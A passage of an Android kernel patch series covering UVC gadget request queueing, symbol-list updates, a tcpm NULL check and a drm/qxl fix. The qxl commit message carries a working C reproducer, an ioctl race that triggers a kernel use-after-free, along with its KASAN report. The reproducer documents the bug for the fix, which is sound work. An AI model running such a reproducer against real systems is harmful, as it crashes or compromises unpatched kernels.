INIT_LIST_HEAD(&video->req_free); + video->req_size = 0; + spin_unlock_irqrestore(&video->req_lock, flags); + + /* + * Return all the video buffers before disabling the queue. + */ + spin_lock_irqsave(&video->queue.irqlock, flags); + list_for_each_entry_safe(buf, btemp, &inflight_bufs, queue) { + list_del(&buf->queue); + uvcg_complete_buffer(&video->queue, buf); + } + spin_unlock_irqrestore(&video->queue.irqlock, flags); + uvcg_queue_enable(&video->queue, 0); return 0; } @@ -532,6 +613,14 @@ int uvcg_video_enable(struct uvc_video *video) return -ENODEV; } + /* + * Safe to access request related fields without req_lock because + * this is the only thread currently active, and no other + * request handling thread will become active until this function + * returns. + */ + video->is_enabled = true; + if ((ret = uvcg_queue_enable(&video->queue, 1)) < 0) return ret; @@ -557,6 +646,7 @@ int uvcg_video_enable(struct uvc_video *video) */ int uvcg_video_init(struct uvc_video *video, struct uvc_device *uvc) { + video->is_enabled = false; INIT_LIST_HEAD(&video->ureqs); INIT_LIST_HEAD(&video->req_free); spin_lock_init(&video->req_lock); From a2377cc13537474b0dc1bd9c4747748aa64af00e Mon Sep 17 00:00:00 2001 From: Jayant Chowdhary Date: Mon, 20 Nov 2023 06:20:25 +0000 Subject: [PATCH 11/21] FROMGIT: usb:gadget:uvc Do not use worker thread to pump isoc usb requests When we use an async work queue to perform the function of pumping usb requests to the usb controller, it is possible that amongst other factors, thread scheduling affects at what cadence we're able to pump requests. This could mean isoc usb requests miss their uframes - resulting in video stream flickers on the host device. To avoid this, we make the async_wq thread only produce isoc usb_requests with uvc buffers encoded into them. The process of queueing to the endpoint is done by the uvc_video_complete() handler. In case no usb_requests are ready with encoded information, we just queue a zero length request to the endpoint from the complete handler. For bulk endpoints the async_wq thread still queues usb requests to the endpoint. Signed-off-by: Michael Grzeschik Signed-off-by: Jayant Chowdhary Suggested-by: Avichal Rakesh Suggested-by: Alan Stern Link: https://lore.kernel.org/r/20231120062026.3759463-1-jchowdhary@google.com Signed-off-by: Greg Kroah-Hartman Bug: 301915972 (cherry picked from commit 6acba0345b68772830582ca1ca369a2f45631275 https://kernel.googlesource.com/pub/scm/linux/kernel/git/gregkh/usb usb-next) Change-Id: I5597cc29e9caec69e4f3575938d7d640857aaa28 Signed-off-by: Avichal Rakesh --- drivers/usb/gadget/function/uvc.h | 8 + drivers/usb/gadget/function/uvc_video.c | 202 ++++++++++++++++++------ 2 files changed, 165 insertions(+), 45 deletions(-) diff --git a/drivers/usb/gadget/function/uvc.h b/drivers/usb/gadget/function/uvc.h index eb5d8aa41e95..0f7fe08230aa 100644 --- a/drivers/usb/gadget/function/uvc.h +++ b/drivers/usb/gadget/function/uvc.h @@ -105,7 +105,15 @@ struct uvc_video { bool is_enabled; /* tracks whether video stream is enabled */ unsigned int req_size; struct list_head ureqs; /* all uvc_requests allocated by uvc_video */ + + /* USB requests that the video pump thread can encode into */ struct list_head req_free; + + /* + * USB requests video pump thread has already encoded into. These are + * ready to be queued to the endpoint. + */ + struct list_head req_ready; spinlock_t req_lock; unsigned int req_int_count; diff --git a/drivers/usb/gadget/function/uvc_video.c b/drivers/usb/gadget/function/uvc_video.c index 164bdeb7f2a9..98ba524c27f5 100644 --- a/drivers/usb/gadget/function/uvc_video.c +++ b/drivers/usb/gadget/function/uvc_video.c @@ -269,6 +269,101 @@ static int uvcg_video_ep_queue(struct uvc_video *video, struct usb_request *req) return ret; } +/* This function must be called with video->req_lock held. */ +static int uvcg_video_usb_req_queue(struct uvc_video *video, + struct usb_request *req, bool queue_to_ep) +{ + bool is_bulk = video->max_payload_size; + struct list_head *list = NULL; + + if (!video->is_enabled) { + uvc_video_free_request(req->context, video->ep); + return -ENODEV; + } + if (queue_to_ep) { + struct uvc_request *ureq = req->context; + /* + * With USB3 handling more requests at a higher speed, we can't + * afford to generate an interrupt for every request. Decide to + * interrupt: + * + * - When no more requests are available in the free queue, as + * this may be our last chance to refill the endpoint's + * request queue. + * + * - When this is request is the last request for the video + * buffer, as we want to start sending the next video buffer + * ASAP in case it doesn't get started already in the next + * iteration of this loop. + * + * - Four times over the length of the requests queue (as + * indicated by video->uvc_num_requests), as a trade-off + * between latency and interrupt load. + */ + if (list_empty(&video->req_free) || ureq->last_buf || + !(video->req_int_count % + DIV_ROUND_UP(video->uvc_num_requests, 4))) { + video->req_int_count = 0; + req->no_interrupt = 0; + } else { + req->no_interrupt = 1; + } + video->req_int_count++; + return uvcg_video_ep_queue(video, req); + } + /* + * If we're not queuing to the ep, for isoc we're queuing + * to the req_ready list, otherwise req_free. + */ + list = is_bulk ? &video->req_free : &video->req_ready; + list_add_tail(&req->list, list); + return 0; +} + +/* + * Must only be called from uvcg_video_enable - since after that we only want to + * queue requests to the endpoint from the uvc_video_complete complete handler. + * This function is needed in order to 'kick start' the flow of requests from + * gadget driver to the usb controller. + */ +static void uvc_video_ep_queue_initial_requests(struct uvc_video *video) +{ + struct usb_request *req = NULL; + unsigned long flags = 0; + unsigned int count = 0; + int ret = 0; + + /* + * We only queue half of the free list since we still want to have + * some free usb_requests in the free list for the video_pump async_wq + * thread to encode uvc buffers into. Otherwise we could get into a + * situation where the free list does not have any usb requests to + * encode into - we always end up queueing 0 length requests to the + * end point. + */ + unsigned int half_list_size = video->uvc_num_requests / 2; + + spin_lock_irqsave(&video->req_lock, flags); + /* + * Take these requests off the free list and queue them all to the + * endpoint. Since we queue 0 length requests with the req_lock held, + * there isn't any 'data' race involved here with the complete handler. + */ + while (count < half_list_size) { + req = list_first_entry(&video->req_free, struct usb_request, + list); + list_del(&req->list); + req->length = 0; + ret = uvcg_video_ep_queue(video, req); + if (ret < 0) { + uvcg_queue_cancel(&video->queue, 0); + break; + } + count++; + } + spin_unlock_irqrestore(&video->req_lock, flags); +} + static void uvc_video_complete(struct usb_ep *ep, struct usb_request *req) { @@ -277,6 +372,8 @@ uvc_video_complete(struct usb_ep *ep, struct usb_request *req) struct uvc_video_queue *queue = &video->queue; struct uvc_buffer *last_buf; unsigned long flags; + bool is_bulk = video->max_payload_size; + int ret = 0; spin_lock_irqsave(&video->req_lock, flags); if (!video->is_enabled) { @@ -330,8 +427,45 @@ uvc_video_complete(struct usb_ep *ep, struct usb_request *req) * back to req_free */ if (video->is_enabled) { - list_add_tail(&req->list, &video->req_free); - queue_work(video->async_wq, &video->pump); + /* + * Here we check whether any request is available in the ready + * list. If it is, queue it to the ep and add the current + * usb_request to the req_free list - for video_pump to fill in. + * Otherwise, just use the current usb_request to queue a 0 + * length request to the ep. Since we always add to the req_free + * list if we dequeue from the ready list, there will never + * be a situation where the req_free list is completely out of + * requests and cannot recover. + */ + struct usb_request *to_queue = req; + + to_queue->length = 0; + if (!list_empty(&video->req_ready)) { + to_queue = list_first_entry(&video->req_ready, + struct usb_request, list); + list_del(&to_queue->list); + list_add_tail(&req->list, &video->req_free); + /* + * Queue work to the wq as well since it is possible that a + * buffer may not have been completely encoded with the set of + * in-flight usb requests for whih the complete callbacks are + * firing. + * In that case, if we do not queue work to the worker thread, + * the buffer will never be marked as complete - and therefore + * not be returned to userpsace. As a result, + * dequeue -> queue -> dequeue flow of uvc buffers will not + * happen. + */ + queue_work(video->async_wq, &video->pump); + } + /* + * Queue to the endpoint. The actual queueing to ep will + * only happen on one thread - the async_wq for bulk endpoints + * and this thread for isoc endpoints. + */ + ret = uvcg_video_usb_req_queue(video, to_queue, !is_bulk); + if (ret < 0) + uvcg_queue_cancel(queue, 0); } else { uvc_video_free_request(ureq, ep); } @@ -348,6 +482,7 @@ uvc_video_free_requests(struct uvc_video *video) INIT_LIST_HEAD(&video->ureqs); INIT_LIST_HEAD(&video->req_free); + INIT_LIST_HEAD(&video->req_ready); video->req_size = 0; return 0; } @@ -425,8 +560,7 @@ static void uvcg_video_pump(struct work_struct *work) struct usb_request *req = NULL; struct uvc_buffer *buf; unsigned long flags; - bool buf_done; - int ret; + int ret = 0; while (true) { if (!video->ep->enabled) @@ -455,15 +589,6 @@ static void uvcg_video_pump(struct work_struct *work) if (buf != NULL) { video->encode(req, video, buf); - buf_done = buf->state == UVC_BUF_STATE_DONE; - } else if (!(queue->flags & UVC_QUEUE_DISCONNECTED) && !is_bulk) { - /* - * No video buffer available; the queue is still connected and - * we're transferring over ISOC. Queue a 0 length request to - * prevent missed ISOC transfers. - */ - req->length = 0; - buf_done = false; } else { /* * Either the queue has been disconnected or no video buffer @@ -474,45 +599,25 @@ static void uvcg_video_pump(struct work_struct *work) break; } - /* - * With USB3 handling more requests at a higher speed, we can't - * afford to generate an interrupt for every request. Decide to - * interrupt: - * - * - When no more requests are available in the free queue, as - * this may be our last chance to refill the endpoint's - * request queue. - * - * - When this is request is the last request for the video - * buffer, as we want to start sending the next video buffer - * ASAP in case it doesn't get started already in the next - * iteration of this loop. - * - * - Four times over the length of the requests queue (as - * indicated by video->uvc_num_requests), as a trade-off - * between latency and interrupt load. - */ - if (list_empty(&video->req_free) || buf_done || - !(video->req_int_count % - DIV_ROUND_UP(video->uvc_num_requests, 4))) { - video->req_int_count = 0; - req->no_interrupt = 0; - } else { - req->no_interrupt = 1; - } - - /* Queue the USB request */ - ret = uvcg_video_ep_queue(video, req); spin_unlock_irqrestore(&queue->irqlock, flags); + spin_lock_irqsave(&video->req_lock, flags); + /* For bulk end points we queue from the worker thread + * since we would preferably not want to wait on requests + * to be ready, in the uvcg_video_complete() handler. + * For isoc endpoints we add the request to the ready list + * and only queue it to the endpoint from the complete handler. + */ + ret = uvcg_video_usb_req_queue(video, req, is_bulk); + spin_unlock_irqrestore(&video->req_lock, flags); + if (ret < 0) { uvcg_queue_cancel(queue, 0); break; } - /* Endpoint now owns the request */ + /* The request is owned by the endpoint / ready list. */ req = NULL; - video->req_int_count++; } if (!req) @@ -581,8 +686,14 @@ uvcg_video_disable(struct uvc_video *video) uvc_video_free_request(req->context, video->ep); } + list_for_each_entry_safe(req, temp, &video->req_ready, list) { + list_del(&req->list); + uvc_video_free_request(req->context, video->ep); + } + INIT_LIST_HEAD(&video->ureqs); INIT_LIST_HEAD(&video->req_free); + INIT_LIST_HEAD(&video->req_ready); video->req_size = 0; spin_unlock_irqrestore(&video->req_lock, flags); @@ -636,7 +747,7 @@ int uvcg_video_enable(struct uvc_video *video) video->req_int_count = 0; - queue_work(video->async_wq, &video->pump); + uvc_video_ep_queue_initial_requests(video); return ret; } @@ -649,6 +760,7 @@ int uvcg_video_init(struct uvc_video *video, struct uvc_device *uvc) video->is_enabled = false; INIT_LIST_HEAD(&video->ureqs); INIT_LIST_HEAD(&video->req_free); + INIT_LIST_HEAD(&video->req_ready); spin_lock_init(&video->req_lock); INIT_WORK(&video->pump, uvcg_video_pump); From d3787b952ac46026dccb5c30781c8e0f145c8592 Mon Sep 17 00:00:00 2001 From: Wander Lairson Costa Date: Mon, 14 Aug 2023 13:51:19 -0300 Subject: [PATCH 12/21] UPSTREAM: drm/qxl: fix UAF on handle creation commit c611589b4259ed63b9b77be6872b1ce07ec0ac16 upstream. qxl_mode_dumb_create() dereferences the qobj returned by qxl_gem_object_create_with_handle(), but the handle is the only one holding a reference to it. A potential attacker could guess the returned handle value and closes it between the return of qxl_gem_object_create_with_handle() and the qobj usage, triggering a use-after-free scenario. Reproducer: int dri_fd =-1; struct drm_mode_create_dumb arg = {0}; void gem_close(int handle); void* trigger(void* ptr) { int ret; arg.width = arg.height = 0x20; arg.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg); if(ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } gem_close(arg.handle); while(1) { struct drm_mode_create_dumb args = {0}; args.width = args.height = 0x20; args.bpp = 32; ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args); if (ret) { perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed"); exit(-1); } printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle); gem_close(args.handle); } return NULL; } void gem_close(int handle) { struct drm_gem_close args; args.handle = handle; int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle if (!ret) printf("gem close handle %d\n", args.handle); } int main(void) { dri_fd= open("/dev/dri/card0", O_RDWR); printf("fd:%d\n", dri_fd); if(dri_fd == -1) return -1; pthread_t tid1; if(pthread_create(&tid1,NULL,trigger,NULL)){ perror("[*] thread_create tid1\n"); return -1; } while (1) { gem_close(arg.handle); } return 0; } This is a KASAN report: ================================================================== BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 Write of size 1 at addr ffff88801136c240 by task poc/515 CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014 Call Trace: __dump_stack linux/lib/dump_stack.c:88 dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106 print_address_description linux/mm/kasan/report.c:319 print_report+0xd2/0x660 linux/mm/kasan/report.c:430 kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536 __asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383 qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 RIP: 0033:0x7ff5004ff5f7 Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48 RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7 RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003 RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000 Allocated by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510 ____kasan_kmalloc linux/mm/kasan/common.c:374 __kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383 kasan_kmalloc linux/./include/linux/kasan.h:196 kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066 kmalloc linux/./include/linux/slab.h:580 kzalloc linux/./include/linux/slab.h:720 qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124 qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58 qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 Freed by task 515: kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45 kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52 kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521 ____kasan_slab_free linux/mm/kasan/common.c:236 ____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200 __kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244 kasan_slab_free linux/./include/linux/kasan.h:162 slab_free_hook linux/mm/slub.c:1781 slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807 slab_free linux/mm/slub.c:3787 __kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800 kfree+0x78/0x120 linux/mm/slab_common.c:1019 qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49 ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381 kref_put linux/./include/linux/kref.h:65 ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393 qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42 drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974 kref_put linux/./include/linux/kref.h:65 __drm_gem_object_put linux/./include/drm/drm_gem.h:431 drm_gem_object_put linux/./include/drm/drm_gem.h:444 qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100 qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63 drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96 drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102 drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788 drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891 vfs_ioctl linux/fs/ioctl.c:51 __do_sys_ioctl linux/fs/ioctl.c:870 __se_sys_ioctl linux/fs/ioctl.c:856 __x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856 do_syscall_x64 linux/arch/x86/entry/common.c:50 do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120 The buggy address belongs to the object at ffff88801136c000 which belongs to the cache kmalloc-1k of size 1024 The buggy address is located 576 bytes inside of freed 1024-byte region [ffff88801136c000, ffff88801136c400) The buggy address belongs to the physical page: page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368 head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff) raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000 raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb >ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Disabling lock debugging due to kernel taint Instead of returning a weak reference to the qxl_bo object, return the created drm_gem_object and let the caller decrement the reference count when it no longer needs it. As a convenience, if the caller is not interested in the gobj object, it can pass NULL to the parameter and the reference counting is descremented internally. The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940). Bug: 311571057 Link: https://www.zerodayinitiative.com/ Signed-off-by: Wander Lairson Costa Cc: stable@vger.kernel.org Reviewed-by: Dave Airlie Signed-off-by: Dave Airlie Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com Signed-off-by: Greg Kroah-Hartman (cherry picked from commit d578c919deb786b4d6ba8c7639255cb658731671) Signed-off-by: Lee Jones Change-Id: If0e6ae00dd7e90f938beff9c6992ea37ba7bc4fa --- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 ++++- drivers/gpu/drm/qxl/qxl_gem.c | 25 +++++++++++++++++-------- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 ++---- 4 files changed, 24 insertions(+), 14 deletions(-) diff --git a/drivers/gpu/drm/qxl/qxl_drv.h b/drivers/gpu/drm/qxl/qxl_drv.h index 432758ad39a3..94753e017ea8 100644 --- a/drivers/gpu/drm/qxl/qxl_drv.h +++ b/drivers/gpu/drm/qxl/qxl_drv.h @@ -312,7 +312,7 @@ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle); void qxl_gem_object_free(struct drm_gem_object *gobj); int qxl_gem_object_open(struct drm_gem_object *obj, struct drm_file *file_priv); diff --git a/drivers/gpu/drm/qxl/qxl_dumb.c b/drivers/gpu/drm/qxl/qxl_dumb.c index d636ba685451..17df5c7ccf69 100644 --- a/drivers/gpu/drm/qxl/qxl_dumb.c +++ b/drivers/gpu/drm/qxl/qxl_dumb.c @@ -34,6 +34,7 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, { struct qxl_device *qdev = to_qxl(dev); struct qxl_bo *qobj; + struct drm_gem_object *gobj; uint32_t handle; int r; struct qxl_surface surf; @@ -62,11 +63,13 @@ int qxl_mode_dumb_create(struct drm_file *file_priv, r = qxl_gem_object_create_with_handle(qdev, file_priv, QXL_GEM_DOMAIN_CPU, - args->size, &surf, &qobj, + args->size, &surf, &gobj, &handle); if (r) return r; + qobj = gem_to_qxl_bo(gobj); qobj->is_dumb = true; + drm_gem_object_put(gobj); args->pitch = pitch; args->handle = handle; return 0; diff --git a/drivers/gpu/drm/qxl/qxl_gem.c b/drivers/gpu/drm/qxl/qxl_gem.c index a08da0bd9098..fc5e3763c359 100644 --- a/drivers/gpu/drm/qxl/qxl_gem.c +++ b/drivers/gpu/drm/qxl/qxl_gem.c @@ -72,32 +72,41 @@ int qxl_gem_object_create(struct qxl_device *qdev, int size, return 0; } +/* + * If the caller passed a valid gobj pointer, it is responsible to call + * drm_gem_object_put() when it no longer needs to acess the object. + * + * If gobj is NULL, it is handled internally. + */ int qxl_gem_object_create_with_handle(struct qxl_device *qdev, struct drm_file *file_priv, u32 domain, size_t size, struct qxl_surface *surf, - struct qxl_bo **qobj, + struct drm_gem_object **gobj, uint32_t *handle) { - struct drm_gem_object *gobj; int r; + struct drm_gem_object *local_gobj; - BUG_ON(!qobj); BUG_ON(!handle); r = qxl_gem_object_create(qdev, size, 0, domain, false, false, surf, - &gobj); + &local_gobj); if (r) return -ENOMEM; - r = drm_gem_handle_create(file_priv, gobj, handle); + r = drm_gem_handle_create(file_priv, local_gobj, handle); if (r) return r; - /* drop reference from allocate - handle holds it now */ - *qobj = gem_to_qxl_bo(gobj); - drm_gem_object_put(gobj); + + if (gobj) + *gobj = local_gobj; + else + /* drop reference from allocate - handle holds it now */ + drm_gem_object_put(local_gobj); + return 0; } diff --git a/drivers/gpu/drm/qxl/qxl_ioctl.c b/drivers/gpu/drm/qxl/qxl_ioctl.c index 30f58b21372a..dd0f834d881c 100644 --- a/drivers/gpu/drm/qxl/qxl_ioctl.c +++ b/drivers/gpu/drm/qxl/qxl_ioctl.c @@ -38,7 +38,6 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr struct qxl_device *qdev = to_qxl(dev); struct drm_qxl_alloc *qxl_alloc = data; int ret; - struct qxl_bo *qobj; uint32_t handle; u32 domain = QXL_GEM_DOMAIN_VRAM; @@ -50,7 +49,7 @@ int qxl_alloc_ioctl(struct drm_device *dev, void *data, struct drm_file *file_pr domain, qxl_alloc->size, NULL, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); @@ -386,7 +385,6 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi { struct qxl_device *qdev = to_qxl(dev); struct drm_qxl_alloc_surf *param = data; - struct qxl_bo *qobj; int handle; int ret; int size, actual_stride; @@ -406,7 +404,7 @@ int qxl_alloc_surf_ioctl(struct drm_device *dev, void *data, struct drm_file *fi QXL_GEM_DOMAIN_SURFACE, size, &surf, - &qobj, &handle); + NULL, &handle); if (ret) { DRM_ERROR("%s: failed to create gem ret=%d\n", __func__, ret); From 61ca1246d99e938cf894c2182fdd0a35e329d45b Mon Sep 17 00:00:00 2001 From: liwei Date: Fri, 24 Nov 2023 09:59:15 +0800 Subject: [PATCH 13/21] ANDROID: GKI: Update oplus symbol list add four symbol to oplus symbol list, which already EXPORTED 1. static_key_enable 2. static_key_disable 3. __traceiter_android_vh_alloc_pages_slowpath 4. __tracepoint_android_vh_alloc_pages_slowpath Bug: 312913816 Change-Id: I2c5776c4b58b8b50e7e4c245492614412042cf9d Signed-off-by: liwei --- android/abi_gki_aarch64_oplus | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/android/abi_gki_aarch64_oplus b/android/abi_gki_aarch64_oplus index 23996025f107..86ae9cc7ea04 100644 --- a/android/abi_gki_aarch64_oplus +++ b/android/abi_gki_aarch64_oplus @@ -92,6 +92,8 @@ snd_soc_find_dai spi_bus_type stack_trace_save_tsk + static_key_enable + static_key_disable stpcpy task_rq_lock tcf_action_exec @@ -162,6 +164,7 @@ __traceiter_android_vh_rwsem_wake_finish __traceiter_android_vh_adjust_alloc_flags __traceiter_android_vh_adjust_kvmalloc_flags + __traceiter_android_vh_alloc_pages_slowpath __traceiter_android_vh_sched_stat_runtime_rt __traceiter_android_vh_shrink_node_memcgs __traceiter_android_vh_sync_txn_recvd @@ -260,6 +263,7 @@ __tracepoint_android_vh_rwsem_wake_finish __tracepoint_android_vh_adjust_alloc_flags __tracepoint_android_vh_adjust_kvmalloc_flags + __tracepoint_android_vh_alloc_pages_slowpath __tracepoint_android_vh_sched_stat_runtime_rt __tracepoint_android_vh_shrink_node_memcgs __tracepoint_android_vh_sync_txn_recvd From bcb7dfe013cdb3b0d8529725da4193380aaf36ac Mon Sep 17 00:00:00 2001 From: Jimmy Hu Date: Fri, 20 Oct 2023 01:21:32 +0000 Subject: [PATCH 14/21] UPSTREAM: usb: typec: tcpm: Fix NULL pointer dereference in tcpm_pd_svdm() It is possible that typec_register_partner() returns ERR_PTR on failure. When port->partner is an error, a NULL pointer dereference may occur as shown below. [91222.095236][ T319] typec port0: failed to register partner (-17) ... [91225.061491][ T319] Unable to handle kernel NULL pointer dereference at virtual address 000000000000039f [91225.274642][ T319] pc : tcpm_pd_data_request+0x310/0x13fc [91225.274646][ T319] lr : tcpm_pd_data_request+0x298/0x13fc [91225.308067][ T319] Call trace: [91225.308070][ T319] tcpm_pd_data_request+0x310/0x13fc [91225.308073][ T319] tcpm_pd_rx_handler+0x100/0x9e8 [91225.355900][ T319] kthread_worker_fn+0x178/0x58c [91225.355902][ T319] kthread+0x150/0x200 [91225.355905][ T319] ret_from_fork+0x10/0x30 Add a check for port->partner to avoid dereferencing a NULL pointer. Fixes: 5e1d4c49fbc8 ("usb: typec: tcpm: Determine common SVDM Version") Cc: stable@vger.kernel.org Signed-off-by: Jimmy Hu Link: https://lore.kernel.org/r/20231020012132.100960-1-hhhuuu@google.com Signed-off-by: Greg Kroah-Hartman Bug: 280207787 (cherry picked from commit 4987daf86c152ff882d51572d154ad12e4ff3a4b) Change-Id: I609640ff70258b8fd0e7f9eaad9eb60db35ccfad Signed-off-by: Kyle Tso --- drivers/usb/typec/tcpm/tcpm.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/drivers/usb/typec/tcpm/tcpm.c b/drivers/usb/typec/tcpm/tcpm.c index f9f528c64f0f..f00e69bf4c64 100644 --- a/drivers/usb/typec/tcpm/tcpm.c +++ b/drivers/usb/typec/tcpm/tcpm.c @@ -1630,6 +1630,9 @@ static int tcpm_pd_svdm(struct tcpm_port *port, struct typec_altmode *adev, if (PD_VDO_VID(p[0]) != USB_SID_PD) break; + if (IS_ERR_OR_NULL(port->partner)) + break; + if (PD_VDO_SVDM_VER(p[0]) < svdm_version) { typec_partner_set_svdm_version(port->partner, PD_VDO_SVDM_VER(p[0])); From c331f5b7af4bb52805bf86f189a4335ee6c5b13a Mon Sep 17 00:00:00 2001 From: Jia-Shiuan Chen Date: Wed, 29 Nov 2023 08:58:04 +0000 Subject: [PATCH 15/21] ANDROID: Update the ABI symbol list Adding the following symbols: - dma_fence_array_create Bug: 313783640 Change-Id: I8183d866dec9d9043509578f6267dc7198477767 Signed-off-by: Jia-Shiuan Chen --- android/abi_gki_aarch64_pixel | 1 + 1 file changed, 1 insertion(+) diff --git 